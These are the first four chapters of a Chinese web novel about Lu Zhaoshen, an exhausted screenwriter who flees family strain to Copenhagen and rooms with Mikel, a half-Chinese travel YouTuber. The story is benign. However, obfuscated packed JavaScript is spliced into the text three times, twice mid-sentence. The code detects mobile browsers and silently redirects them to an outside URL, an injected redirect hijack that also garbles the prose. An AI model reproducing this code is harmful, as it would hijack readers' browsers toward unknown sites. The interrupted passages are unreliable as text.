《北国极昼》 1. 合租 下午五点,陆朝深下了飞机。 手机一开机就接到了无数个未接来电,微信聊天界面顶端上的收取中自顾自地转了好久,不断地塞满了消息。 陆朝深轻轻地叹了口气,打开了勿扰模式。 哥本哈根机场有一半的地方都是明亮的,和成都的夏日不一样,丹麦的夏天没那么炽热,阳光飞行了最远的距离,透过玻璃窗微弱而又温和地覆盖在地上,风的温度也不冷不热,恰到好处。 这次的旅行纯属临时起意,陆朝深推着行李箱僵硬地走着,时不时观察着周围。 眼前的一切都太不真实了。 当初他制定好毕业去北欧旅行的计划,却因一些事情迎来了漫长的搁置。 这一搁就是十年。 尽管知道可能性非常小,但每年他还是会在新年规划中空出一点位置,祈祷着自己能抽出去北欧的时间。 所以他才会恍惚,前一天还因为和弟弟的争吵,在卧室的床上难受得辗转反侧,下一秒就来到了丹麦。 陆朝深在飞机上的时候简单地查了一点旅游攻略,首都哥本哈根正值旅游旺季,便宜的住宿不是很好找,Airbnb上评分靠前的民宿全部被订满,只能支持拼房合住,陆朝深挨家挨户地问,好在有最后一家民宿愿意收留他。 房东Elias是丹麦本地的退休老太太,办事效率很高,陆朝深的请求发出去没多久就收到了Elias的回复。 Elias:Hi,Luka.我刚刚帮你问了一下我的租客Mikel,他说愿意和你合租,不过我想提醒一下你,这个房子最近一直都是他在住,并且一次性付完了一个月的房租,如果你想要单独的住处,可能要等一段时间。 陆朝深有些犹豫,这样突然闯进别人的生活会不会不太好? 因为家庭,陆朝深从小到大几乎没有和别人一起住过。大学的时候因为要照顾弟弟妹妹,没课的时候基本上一直待在家里。 虽然陆朝深一直自诩生活习惯很好,但也分人,比如他喜欢躺在沙发上看电视,喜欢自己做饭, 不知道对方能不能闻得惯螺蛳粉和辣椒的味道。 Luka:Elias,如果可以的话,可以简单地说一下这位Mikel是个什么样的人吗?我不希望给他人带来麻烦。 如果生活习惯差异太大,他只能另外找地方了,市区里昂贵狭小且精致的酒店可能是最后的选择。 Elias:没关系,孩子,如果你爱干净,一定能和Mikel相处愉快的。 陆朝深松了口气。 Elias一说起Mikel就停不下来了,像是会碎碎念的慈祥老太太:Mikel还会点中文,你们交流起来也不会特别困难,中文可是世界上最难的语言,这点我真的很佩服他。 Elias:总之,他是一个很不错的男孩。爱干净,没有抽烟的习惯,我的房子给他住了一个多月了,几乎不需要我来打扫。 Luka:我知道了,非常感谢你。 收起手机,陆朝深按照攻略,跟着机场里的metro标识一直走,刚好搭上了一班去市区的地铁。 机场的地铁和国内不一样,陆朝深站在人群中央查着买票攻略,繁琐的步骤和巨大的差异让他开始有点想念成都了。 不过这个想法转瞬即逝,如果说按照原正常的计划,他应该会等到陆半夏高三毕业才正式“退休”,也就是八年后。 那个时候的他是什么样的呢? 不出意外的话,应该没有一天是属于他自己的,但也并不意味着他不愿意奉献自己。 这种感觉很复杂,责任和使命一直存在,几年的时间说长不长,说短也不短,他做的一切,都可以被归类于“理所应当”。 陆朝深不奢求自己的付出被谁赞扬,被谁承认,被谁记得。 但他真的太累了,需要休息一下。 从上地铁之后到出站,陆朝深一直都处于一种半游离的状态,他拖着行李箱,跟着导航找民宿的位置。 Elias的房子在哥本哈根的市区中心,这里的街头干净又老旧,路上有很多看起来很古老的整齐凸面,还有像是地砖拼接的缝隙,行李箱滚动时发出了很聒噪的咕噜声。 陆朝深忍了十分钟,终于抵达目的地。 “叮咚。” 按下门铃后,屋内传来的一阵小声的呼唤。 “Wait a minute~!” 陆朝深能感觉到里面的人稍微有些慌乱,伴随着一阵潮湿的热气,门打开了。 眼中瞬间涌入一片大阴影,陆朝深抬头,面前的男孩应该就是Elias所说的租客,Mikel。 Mikel的身形很高大,站在门口时几乎挡住了大半部分室内的光线,有一头微微卷的金棕发,看起来是刚洗完澡还没来得及吹头发,一两搓发丝安静地贴在额角上。 眼睛略微狭长,深邃的眼眶中藏着深蓝色的瞳孔,鼻梁高挺。 很符合陆朝深对传统的美国白人长相的印象。 应该是刚洗完澡,Mikel上半身笼笼统统地套了一件T恤,肩膀处有些没擦干的水印渍。浑身的肌肉把衣服撑得有些紧,但并不夸张,陆朝深目测对方手臂上的肌肉至少比他大一圈。 陆朝深向来是不太喜欢在心里评价别人的,但是.....麦朗的形象太过于鲜明了啊喂。 长得帅,身材好,性张力点满的脸和气质。 太熟悉了。 脑海里突然浮现出很多个面孔,陆朝深想起陆芷上周分享视频的时候,应该是看错了人了,无意间发了19个外国卷毛擦边帅哥博主的视频给他,尽管最后只撤回了八个,但陆朝深还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150214|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是全部看完了。 全都是什么肌肉男,穿着无袖背心,紧身裤,骑行装,看得陆朝深两眼一黑。 “你好,Luka,Elias已经给我说过了。”对方率先说了一句中文,“我是Mikel,中文名字是麦朗。” 陆朝深回过神,默默在心里扇了自己一巴掌后忏悔:以上全都是他的无端猜测,他只是单纯地觉得对方身材很好。 希望今晚刷洋抖的时候不会被大数据捉弄,刷到这位室友在擦边....... 居然真的会说中文?还说得那么标准? “你好,”陆朝深立马进入状态,和善地打招呼,“你中文说得很好。” 怕对方学得不精,陆朝深说完又立马补了一句英文。 麦朗笑了声:“谢谢,我是中美混血,在中国生活了七年,只要是中国话我都能听懂。” 陆朝深哦一声:“这样啊,我刚刚还没看出来。” 麦朗一边帮陆朝深提行李进屋,一边介绍自己,“我妈妈也是混血,爸爸是美国人。” 那一切都说得通了,怪不得连Elias也没认出来。 进屋之后,麦朗朝走廊尽头指了一下,顺便和陆朝深交换了微信和whatsapp。 “你的房间在那,就在我的对面,”麦郎说,“我先去吹头发,有什么问题随时给我说,我对哥本哈根很熟悉。” 陆朝深比了个OK,顿时松了口气,这个室友看起来还挺好相处的,说不定还能交个朋友。 把行李拖进房间之后,陆朝深出来观览了一下,整个民宿有两间卧室,旁边就是一个超大的厨房,刚好能做饭。屋内也确实如Elias所说,干净无异味,满眼的黑白灰,家具简约又整齐。 很地道的北欧风。 客厅巨大的落地窗被对面多巴胺风格的黄色房子填满,探出头就能看见哥本哈根的一切。 数不清的自行车,楼顶驻停的鸥鸟,还有从运河边传来温柔的歌声。 要是能一辈子住这儿就好了。 陆朝深随后立即否决了这个想法,转身回到卧室。 麦朗正站在门口,没进去,头发被吹干后蓬蓬的,手里拿着一串钥匙。 “给,”麦朗说,“房间的钥匙和大门的钥匙都在这里。” “谢谢,”陆朝深接过钥匙串,“房租的费用,我们是分开给Elias还是?” “这个没事,你直接给我就好了,Elias记性不太好。” 陆朝深说了一声谢谢,开始处理自己的一大堆行李。 麦朗视线扫过陆朝深的卧室,接到Elias消息之后他就提前把房间打扫过了一遍,除了衣物被乱糟糟地甩在了床上,其他地方都干净如初。 看着蹲在地上的陆朝深,麦朗突然说道:“晚上我们要不要一起吃个饭?” 2. 集市 陆朝深的计划是在北欧待上几个月,时间会跨越三个季节,所以薄的厚的都通通被裹进了行李箱。 整理衣物费了不少时间,陆朝深刷着手机,忙起来的时候倒也还好,但一闲下来就又开始想家里的事。 距离他离开成都已经有一天了,不知道家里那边现在怎么样,陆安迪还在生气吗?陆芷的手术恢复得如何了?陆雅带着陆半夏,会不会不听话? ....... 手指在微信上悬停了很久,陆朝深还是决定看看。 这一次比刚下飞机那会儿来得更猛烈,在他开勿扰模式的这段时间,除了陆安迪,每个人都发了很多条消息。 看来那个叛逆小子还没消气。 但陆朝深不生气,他从老二陆雅的青春期就开始习惯,然后是陆芷。作为哥哥,陆朝深无法参与两个妹妹的青春期,只能提供最大程度的保护和陪伴。 事实证明,效果也很好,直到今年陆芷高考完出成绩填好了志愿,家里一直都没什么风浪。 但老四陆安迪是个例外。 顶嘴,叛逆,出言不逊,无差别攻击任何人。 早恋,打架斗殴,辱骂老师,撒谎成性。 这些从陆安迪初二就开始了,陆朝深一直避免和他正面冲突,只是每次陆安迪的做法都让他忍无可忍,吵架时脱口而出的气话也太过于伤人,像很多把冰铸成的尖刀,每次吵完都会消融,留下冰冷的疼痛。 陆朝深不想计较,但又无法不在意。 空气似乎开始变得粘稠,陆朝深在床上躺了个大字,一闲下来,他满脑子都是四个弟弟妹妹。 陆朝深往下划,看到老五陆半夏在两个小时前给他发了消息。 陆半夏:大哥,你去哪儿了?姐姐们都联系不上你。 陆朝深看了眼时间,成都这会儿应该11点过,陆半夏平时一直都很听他的话,就是比较爱玩手机。这会儿应该还没睡。 陆朝深回复:我去丹麦了。 那边瞬间秒回。 陆半夏:!! 陆半夏:大哥你居然回我了! 陆朝深没忍住笑了笑:我坐飞机坐了很久,一直开的是勿扰模式。 陆半夏:好吧,那你怎么突然跑那么远的地方去了? 陆朝深:你二姐今年高三毕业,我想休息一下了。 陆半夏:真的? 陆朝深:不然呢,你想把你大哥累死啊(狗头) 陆半夏:那自然是最好的,我就是怕你再也不回来了。 陆朝深没回复,那边隔了一分钟又发来一条消息。 陆半夏:大哥,我知道安迪说了很多过分的话,你一定很伤心很难过。 陆朝深愣了一下。 对面还在继续发消息。 陆半夏:但是你别放在心上,我和姐姐们会好好教育安迪哥的。 陆半夏:我知道你不喜欢成都的天气,夏天很热,也没有秋天,而且一到冬天你就经常心情不好,每天早上送我上学的时候一句话也不说。我也知道你很想去北欧,每年过年你都会挂在嘴边。 陆朝深红了眼眶,伪装了一天的平静突然被陆半夏的话撕得稀碎,情绪来势汹汹,埋藏在心底的委屈和难过瞬间将他反扑。 酸胀感慢慢地堵满了整个鼻腔,陆朝深习惯性地仰着头,闭上眼睛,平息了一会儿。 崩溃的情绪还是被堵回去了。 陆半夏:对了,大姐让我给你说,今年暑假她会带我出去玩,她让你不要担心我们,有她在,家里会好好的。 陆朝深:我不担心。 陆半夏:你最好是真的不要担心哦(狗头) 陆半夏:大哥,我要交手机了。 陆朝深回复了一个“快睡吧”,退出了微信,然后起身到厕所洗了一把脸。 直到微红的眼眶重新恢复成深色。 要让他彻底不挂念家里肯定是不现实的,陆朝深知道可能需要一点时间,但愿这个过程不会耗费他太多的精力。 调整好心态,肚子突然叫了一声。 陆朝深出了卧室,关于美食这一块,他对哥本哈根了解甚少,网上的安利眼花缭乱,有的人说这家好吃,有的人说那家好吃,对于选择困难症患者来说实在是不太友好。 所以当麦朗邀请他一起吃晚饭的时候,他毫不犹豫地答应了。 客厅的窗帘被完全拉开,麦朗坐在沙发上,正拿着一个小平板打游戏。 麦朗往他那边看了一眼,很自觉地往边上靠了靠,腾出一个位置。 沙发旁边还有两个单独的靠椅,陆朝深想了两秒种,最终还是选择了更有温度的麦朗旁边 陆朝深瞟了眼麦朗平板上的游戏,“英雄联盟?” 麦朗单挑了下左眉:“嗯哼,你也玩?” “以前玩,”陆朝深说,“现在很少玩了。” 陆朝深在手机上浏览着附近的美食,问道:“你在这边一般晚餐怎么解决?” “买速食或者快餐,主要是这边的东西我都吃腻了。”麦朗说,“不过你刚到哥本哈根,我可以陪你体验一下这边的特色美食。” 麦朗打完把平板放一遍,跟着陆朝深一起在小红书上搜了几家店,”你可以看看想吃什么。” “有推荐的吗?” “Maple餐厅的丹麦南青口和烤海鲈鱼不错,如果吃不惯可以试一下Dalle Valle的自助餐,”麦朗看了眼窗外,补了一句:“但是我们现在去的话,只有这一家还行。” 翻了很久,麦朗说的那些店家看起来都只能到达“可以品尝”的程度,感觉吃几口就会腻,还吃不饱。 可是他现在很饿。 陆朝深问:“厨房能用吗?” “Elias说能用。” 麦朗说完又突然意识到了什么,脸上的不可思议中带着一点惊喜:“你会做饭?” 陆朝深没忍住扯了下嘴角,麦朗问的这个问题和刚刚自己认为对方“你居然会中文”一样好笑。 “会一点吧。”陆朝深还是打算谦虚一点。 “真厉害啊,”麦朗也笑了,“我也想自己做饭,但我厨艺很烂,属于完全不会的那种,我怕把厨房给烧了,想做都做不了。” 陆朝深搜索无果,收起手机,看着麦朗。 “那你要不要试试我的手艺?” - 出门后,陆朝深正式成为麦朗身后的跟屁虫。 他初到一个完全陌生的地方,什么都不懂,刚才在机场那儿一阵倒腾也懒得再去查了,麦朗很好心地帮他买了地铁票。 在哪上车,什么时候下车,一切都听从这个刚认识的室友大人。 哥本哈根的地铁才修了没多久,整体看起来很新,列车像一只敏捷的地下蠕虫,穿梭了一会儿,两人在Israels Plasd下了车。 Israels Plasd站的人不多,麦朗下地铁之后开始给陆朝深科普。 “你知道这里的Torvehallerne吗?” 陆朝深摇了摇头:“没听说过,是类似于集市之类的地方?” “对,Torvehallerne是哥本哈根最大的集市。”麦朗说,“我们民宿楼下其实就有超市, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150215|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是品种很少。而Torvehallerne有更多种蔬菜,价格也便宜。” 北欧的天价蔬菜,陆朝深还是有所耳闻的,不过他这次出来也不需要考虑什么预算,上个剧本卖出去的钱足够负担起他旅居的生活了。 Torvehallerne有好几个区域,蔬果区域设立在户外,区域内搭起了很多白色的遮棚,顶上挂着暖黄色的透明灯串。 蔬果按照色系被整齐地归纳在一起,人们挑选着框里的菜,像是从一个巨大的调色盘里蘸取了点颜料。 陆朝深拿出相机,拍下几张集市的照片,麦朗走在前面一点,太阳还没落下,清澈的天幕被镀上了一层金色的余晖,与码头的微风构成了完美的背景板。 这对于摄影人来说是一种致命的吸引力。 ”Mikel,“陆朝深喊了一声,“我能给你拍张照吗?” 麦朗不知道陆朝深为什么突然想给他拍照,但还是欣然答应:“好啊,没问题。” 陆朝深将相机镜头对准:“OK,看镜头。” 麦朗笑着侧过身,比了一个简单的剪刀手。 咔嚓。 麦朗凑得很近:“我看看。” 陆朝深看着屏幕毫不吝啬的夸奖:“绝了,你上镜怎么也这么帅,都不用怎么修。” 麦朗哇哦了一声:“谢谢夸奖嘿嘿,是你拍得好,学过摄影吗?” 陆朝深被麦朗的表情逗笑了:“学过一点,大学是编导专业的。” 但其实这和专业没有太多联系,陆朝深对摄影的敏感度是天生的,大学讲的那些知识根本不够用。 相机会老老实实记录下陆朝深认为生命当中有趣,有爱的所有瞬间,这让他很有安全感。 Torvehallerne一天的运行已经接近了尾声,陆朝深刚才在来的路上就想好了大致要做什么菜,将这顿饭作为麦朗愿意“收留”他的答谢。 刚想一头扎进集市,麦朗突然被一个路过的白人女生拦住了。 陆朝深反应很快,这种事情放在麦朗身上一点都并不奇怪,他虽然不知道麦朗具体的身高是多少,但他知道自己有180,麦朗甚至比他还要高半个头。 不过最主要的原因是长得帅。 白人女生看起来有些激动,小心翼翼地和麦朗沟通。陆朝深很识趣,悄悄地隐藏住自己。 陆朝深在一旁假装听不懂英文,实则不经意地偷听,以下是陆朝深大翻译官带来的“麦朗被搭讪小插曲”。 白人女生:Mikel?!真的是你!! 陆朝深表情有些微妙,看来双方认识。 麦朗笑着点了点头,白人女生激动加倍,立马打开手机:“我一直都订阅了你的视频!没想到你居然来了哥本哈根,我可以和你合个照吗?” 陆朝深的表情更微妙了,声色复杂地瞟了麦朗一眼,订阅的视频?…不会是真的吧。 麦朗的身材一看就很好。 麦朗:“Oh,当然了,没问题。” 白人女生高兴得快要跳起来了,捂着嘴大喊了一句“Brovo”,然后靠在麦朗身边,飞速拍下一张自拍。 拍完后又凑在麦朗耳边说了几句悄悄话,陆朝深大翻译官正式下线。 麦朗对白人女生说道:“可能不行,但我可以帮你问问。” 陆朝深的好奇心快要爆炸了,什么不行? 麦朗看着陆朝深:“她问你,我们三个人能不能一起。” 介于在短时间收到了收到了海量且未知的劲爆消息,陆朝深的脑袋一时间有点宕机。 “啊???” 3. 照片 麦朗差点被吓一跳:“怎么了,她觉得你长得很好看,想拍一张合照。” “呃,如果你不愿意也没关系。不用勉强的。” 陆朝深和白人女生满怀期待的眼神对上了。 他调整了一下自己的呼吸:“当然没问题。” 过程有惊无险,白人女生先快速地给他和麦朗拍了一张,拍得很突然,陆朝深都还没做好表情管理,也不知道拍好没有,然后又拿着手机拍了一张三人同框的照片。 女生道谢后,又快速地溜走。 麦朗看着他,双手插兜:“还以为你不同意呢。” “没呢,刚才没听清。” 陆朝深绝对不会说他刚才脑袋里面在想什么,他现在脑子里有太多想问的了,女生说的订阅的频道是什么?不会是那个吧..... 刚才他还听到了什么类似于“性感”的字眼,答案越来越明显了,陆朝深看向麦朗的眼神有些复杂。 但当下最主要的任务是买菜。 两人一前一后,陆朝深本来想拿菜篮,结果麦朗已经拿了一个塑料袋在身后接着。 陆朝深以为他有很想吃的菜,问:“想吃就给我说,别客气,中国的家常菜,我基本都能做。” “我不挑的,你做什么我吃什么。”麦朗笑着说,“味道稍微重一点的也行。” 看来应该能适应辣椒的味道。 抛开那一层特殊的身份,麦朗看起来真的乖乖的,这种乖是陆朝深从来没有在弟弟妹妹身上感觉过的,可能是家里从来没有养过狗。 陆朝深突然觉得麦朗很像邻居家的大金毛。 当然,没有任何贬低的意思。 - 陆朝深从很小就会做饭。 那个时候爸妈经常不在家,他在家里独自带着陆雅和陆芷,妈妈周天的时候偶尔会教他做两道菜。 锅和锅铲对于半大的他来说,还是太重了,每次炒完手都会有些酸痛。 后来陆安迪和陆半夏来到家里,有条件之后就请的保姆,但弟弟妹妹们时常又很挑食,陆朝深不得不再教一遍保姆该怎么做。 再后来,陆朝深就干脆自己炒了。 有时候写剧本写不出来的时候,陆朝深就安慰自己,并不是走投无路,最起码以后还能当厨师。 就是不知道能不能养活弟弟妹妹。 “嘿,”麦朗在他耳边打了一个响指,“需要我帮忙吗?” 陆朝深回过神,手上的动作居然还在机械式地翻炒,在家里的时候他就经常做,做菜工序已经成了肌肉记忆。好在味道很正常,没有炒糊。 “没事,我自己来就行。” 最后一道菜,茄子豆角。 麦朗凑近了一点,用力闻了闻。 “绝了,这肯定好吃。” 陆朝深又笑了:“好吃就多吃点吧。” 陆朝深今天做了三道菜,酸辣土豆丝,清蒸鱼,茄子豆角。都是很经典的家常菜,两个大男人应该够吃。 陆朝深:“来吧,开动。” 麦朗率先尝了第一口,眼睛突然瞪得很大,像一个惊喜娃娃,脸上的表情让人感觉是吃了什么再也吃不到的东西。 “太好吃了,真的很好吃,就是这个味。”麦朗叽里咕噜地说。 陆朝深笑了笑,没说话,以前在成都的时候,陆半夏每次吃他做的新菜品的时候也是这个表情。 除了白天的飞机餐,陆朝深今天没有吃过任何东西,但麦朗看起来比自己还饿,虽然算不上狼吞虎咽,但也实打实地干了三碗。 麦朗刨干净碗里最后的一点饭:“我看你刚才状态不太好,是今天太累了吗?” 一片豆角从筷子滑回盘里,陆朝深又夹了起来,有些意外。 他没想到麦朗会察觉到这个。 “没呢,我在想你的粉丝的事情,”陆朝深随口一说,转移了话题,“你是在做视频吗?还是….” 麦朗点了点头:“我是个Youtuber,旅游博主,在国内的b站也有号。” “原来是这样,”陆朝深在心里给麦朗道一万次歉,是他心太脏了。 “我粉丝还不少,说实话,今天见你之前,我还以为你看过我的视频。” 毕竟他以为自己在中国还是挺出名的。 陆朝深已经记不太清楚上一次看旅行vlog是什么时候了,在爸妈离婚之前,他最理想的生活就是环游世界,在每次放假之前都会做很久很久的旅游攻略,然后放任自由的自己,填满整个假期。 “如果是五年前,我肯定会关注你,”陆朝深说,“那个时候特别爱看这种视频。” 麦朗刨了一大口饭,起身把沙发上的平板拿了过来,点开了自己的YouTube和B站。 “你也可以现在看看。” 麦朗在YouTube和B站上面有将近三百万的粉丝,一些旅行照片就分享在ins,粉丝数量更是恐怖如斯,居然快五百万了。 陆朝深大致浏览了一下内容,麦朗的频道就是妥妥的旅游博主。有旅游攻略向的,有纯粹的风景式的,还有很多vlog日常。 麦朗去过很多地方,Youtube上面有很多关于中国的旅行攻略,B站则更偏向于国外。 陆朝深说,“这些视频都是你一个人做的吗?” 麦朗继续埋头苦吃:“算是吧,所以视频质量的上限就摆在那了。” 陆朝深发自内心的感叹:“不管怎么说,你是真的很厉害。” “运气占了很大的因素,”麦朗笑着摇摇头。 “谦虚了bro,这不是一般人能做到的。”陆朝深继续划着视频:“我听Elias说你在这边住了一个多月了。下一个旅行专题是丹麦吗?” “丹麦是开头,”麦朗说,“我的计划是整个北欧。” “那绝对会很精彩,我先提前关注了,”陆朝深晃了晃手机,“我刚好也有去玩完北欧五国的计划,到时候就指望你了。” 麦朗放下筷子:“那我肯定不会让你失望的。” 两个人你一句我一句地聊了很久,陆朝深边聊边思考,虽然这次旅居不是永久的,但至少可以短暂地开启一段新的生活。 麦朗对陆朝深说,未来两天要是不知道去哪儿玩,都可以问他。 旅行的意义也是如此,放下对未来的顾虑,看看眼前的事情,尝试一些新的东西。 陆朝深非常认同。 吃完饭,麦朗很自觉地洗了碗。 灰色的围裙环抱上了麦朗窄窄的腰,麦朗袖子扎起,露出结实的小臂。屋内安静得只剩下洗碗槽的水声。 陆朝深站在走廊深处,回头的时候,刚好能看到被灯光包围的麦朗,宽大的肩膀,修长笔直的双腿。 实在是太高挑了。 眼前的场景非常具有美学气息,陆朝深顿时心痒痒的。 在经过两秒的“可能会被判定为觊觎室友美貌的变态男”的思想斗争后,陆朝深还是回到了卧室。 蓝调时刻已经彻底褪去,深蓝的天空被黑色勾兑成墨色,陆朝深洗漱完躺在床上,床垫和捏捏球一样柔软,陷在里面五分钟,这会儿他眼皮已经开始打架了。 陆朝深点开B站,看了会儿麦朗的视频。 视频中的麦朗和本人一样,热情明朗,朝气蓬勃,充斥着生命力的气息。 怪不得能有这么多粉丝。 麦朗的视频的评论区大致分几类,有喊老公的,男生女生都有,这并不稀奇,在点赞率最高的那一期视频中,麦朗在洛杉矶海岸,全身上下只穿了一条泳裤,肌肉一览无余,隔着屏幕都能感觉到溢出来的荷尔蒙。 陆朝深看了一会儿,突然觉得有点尴尬,点开了另外一期澳大利亚的旅游攻略视频。 相比于前者,这条视频干货更多,评论区有很多讨论旅游攻略的,诸如红黑榜之流,有夸风景很美的。但也有不少负面的声音。 比如有人说视频的拍摄水平很一般,文案台词也有待提升。 站在专业角度上来说,陆朝深是认同的。不过也不能一刀切,麦朗一个人负责视频制作,能做到这个份上,已经很不容易了。 或许他需要一个优秀的摄影师。 陆朝深准备睡觉的时候,微信突然弹出一条消息,是麦朗。 ML:睡了吗? Luka:还没呢,怎么了? 麦朗发了一个手指相对的表情包。 ML:你今天给我拍的照片(憨笑) 陆朝深抿嘴一笑,麦朗不说他都搞忘了,陆朝深迅速修了一下图,主要是调滤镜和色调,麦朗本人几乎不需要动。 Luka:【图片】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150216|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ML:Good! ML:我都想聘请你做我的摄影师了。 Luka:我的荣幸(狗头) ML:【图片】 ML:【图片】 ML:这是粉丝发给我的。 Luka:这两张也不错。 第一张照片是粉丝给他和麦朗拍的双人照,陆朝深忘记他们当时在做什么了,两个人没看镜头,彼此看着对方,那个时候刚说完话。 第二张是合照,白人女生笑得很灿烂,三个人就这么挤进了一块小小的屏幕里。 ML:嘿嘿,我也觉得,我能发ins吗? Luka:当然可以。 ML:好嘞。 ML:今天很高兴认识你,希望我们能成为好朋友。 Luka:我也是。 ML又发了一个小黄脸表情包。 过了一会,陆朝深的手机上也收到了ins的关注推送。 文案有一点淡淡的人机感:“今天在哥本哈根偶遇了粉丝,还有新朋友给我拍的照。” 内容一发,评论区在五分钟之内瞬间被粉丝占领。 陆朝深翻了翻评论区,大多是清一色的赞美和虎狼之词,不过还是有一部分不一样的。 「sagedrewthis」:我宝贝旁边的那位帅哥是谁? 「kfranklin567」:I want to stand in the middle!!!! (我想站在他们中间!!!!) 「睡醒就想吃蛋挞」:夸一下我老公的新朋友!人帅技术好! 陆朝深会心一笑,果然没让他失望。 继续往下翻。 「coupsshanni」:有点像官宣(偷笑) 「vania安和啦」:一个平静温和,一个明媚张扬,性张力拉爆了! 「大酱liuvchl」:有没有人觉得p1真的好浪漫啊 陆朝深眉头一扭:? 这两条评论下有很多回复,陆朝深简直没法看,但好在大家都圈地自萌,没有大规模的刷屏。 熟悉的味道,太熟悉了。 陆朝深突然想起,陆芷高一的有段时间购物欲爆棚,天天在嘴上挂着她所谓的“精神寄托”。 最开始陆朝深还以为陆芷精神上出了什么问题,直到有一次,陆芷上学的时候家里突然收到了很多快递,陆朝深本着不打扰妹妹隐私的原则,把快递抱进陆芷房间,却在无意之间看到了满墙的海报和手办,桌上堆满了立牌和各种卡片徽章,房间里唯一的书柜里全都是一些封面唯美又花里胡哨的小说。 陆朝深很欣慰陆芷能有自己的爱好,在痛苦折磨的高中生活里,找到一个能让自己短暂解脱的缝隙。 可为什么海报上交缠的人影是两个男的啊? 于是陆朝深随机挑选了一本书柜里的小说,然后上网查了一下,这不查不知道,一查下一跳陆朝深直接打开了新世界,了解到了很多专有名词,什么耽美啊同人啊,像陆芷这样的就被称为腐女, 腐女这个群体很庞大,陆朝深倒也觉得很有意思。 之所以会有这样一个群体,其实是将传统的女性被凝视的客体视角,转向为一直是上位的两个男性,主客体互换,这种掌控感是很爽的。 从功利的角度上来讲,陆朝深写的第二部大爆的剧本,就是在群像影视剧本中嵌入了很深的兄弟情,这一点被腐女抓住之后,一炮走红。 不过陆朝深也没有想到,自己有一天居然也会被当成磕cp的对象。 陆朝深向来都把一切事物当做小孩看待,大家磕得开心就好。 手机振动,麦朗又发来一条消息。 ML:我的朋友和家人都说你拍得很好看。 陆朝深发了一个表情包过去。 麦朗居然还和自己的家人分享了? 陆朝深的心情莫名愉悦了不少,转头也在微信上发了一个朋友圈, 然后把两人的合照放在了九宫格的中间。 文案:在哥本哈根的第一天,和室友去吃了饭。 人很好。 关于对“好”的定义,按理来说这么短的时间内应该看不出来什么,但陆朝深就是凭直觉。 嗯,直觉。 他觉得麦朗很好。 4. 升级 丹麦夏天的夜晚时间很短,给人一种睡不够的错觉,房间里有半边窗户没拉上窗帘,屋内被照得刺眼。 麦朗看了眼时间,已经快11点了。 床边就是笔记本,昨晚和陆朝深互道晚安后,麦朗就开始改自己的脚本和策划,改到凌晨两点还是不满意,最后还是忍不住困意睡着了。 麦朗本身没有熬夜的习惯,但他想把这一期专题做到最好。 在丹麦待了一个月,还是没有什么方向,他不想用一些简单的镜头草草了事。 况且他的镜头也称不上好看。 北欧对于很多人来说都是极其梦幻的一个地方,在麦朗的频道里,想看北欧的呼声是最高的。 这里对于大部分人来说都很遥远,飞往世界尽头的机票很贵,去一趟北欧会有很高的成本,物价,住宿,交通,餐食,没有哪一样是便宜的。 麦朗的摄像机跟随着很多双眼睛,自由的味道最终会触及每一个人的味蕾,同样,他要对这些充满期待的眼睛负责。 每个人心中都会有那么一个“诗和远方”,就算终其一生都可能无法抵达,但至少会存在一些希望。 麦朗做视频的初衷也是如此,告诉大家,人生不是凝固的水泥。 但是他也知道,世界,是参差不齐的。 B站的私信里每天都有很多人给他消息,很多粉丝把这里当成了树洞,有的人按照麦朗给的路线走完了同样的路,有的人还在上学,有的人困于家庭和现实没办法出去旅游。 期望越大,压力越大。麦朗抹了把脸,决定在给自己最后一点时间。 打开手机,陆朝深在8点的时候给他发了一条信息。 Luka:我今天先自己出去逛一逛,桌上是你的早餐。 麦朗一瞬间没什么疲惫的感觉了,简单收拾了一下自己,从冰箱里拿了一瓶牛奶。昨天买的菜还没用完,麦朗突然想起陆朝深昨晚做的那三道菜,咽了咽口水。 好馋,好想再吃一次。 客厅上摆着一份三明治,一看就不是楼下便利店买的,厨房里万年都没用过的厨具,都被陆朝深拿出来盘了一遍。 麦朗吃着三明治,顺着和陆朝深聊天框,点开了对方的朋友圈。 陆朝深和大部分人不一样,朋友圈没有设置近三天可见,近一年生活的点点滴滴都被储存到了朋友圈里。 其中,家人的照片占据了陆朝深朋友圈的百分之80,所以昨天那条朋友圈才会显得格格不入,陆朝深真的很少发关于自己的东西。 麦朗划到底部,开启侦探模式 2024.3.19:青春期的男生是真难管啊 (一条纯文字的朋友圈,管谁?陆朝深是老师吗?) 2024.4.1:妹妹22岁生日快乐(庆祝庆祝) (妹妹都已经22岁了,麦朗疑惑,那陆朝深现在多大了?) 2024.6.8:就一场考试而已,肯定没问题啦。 (没记错的话,六月八号应该是高考的日子,照片上的女生和上一条的“妹妹”很相似,还穿着校服。) 2024.7.3:我只能说成绩看起来还不错。 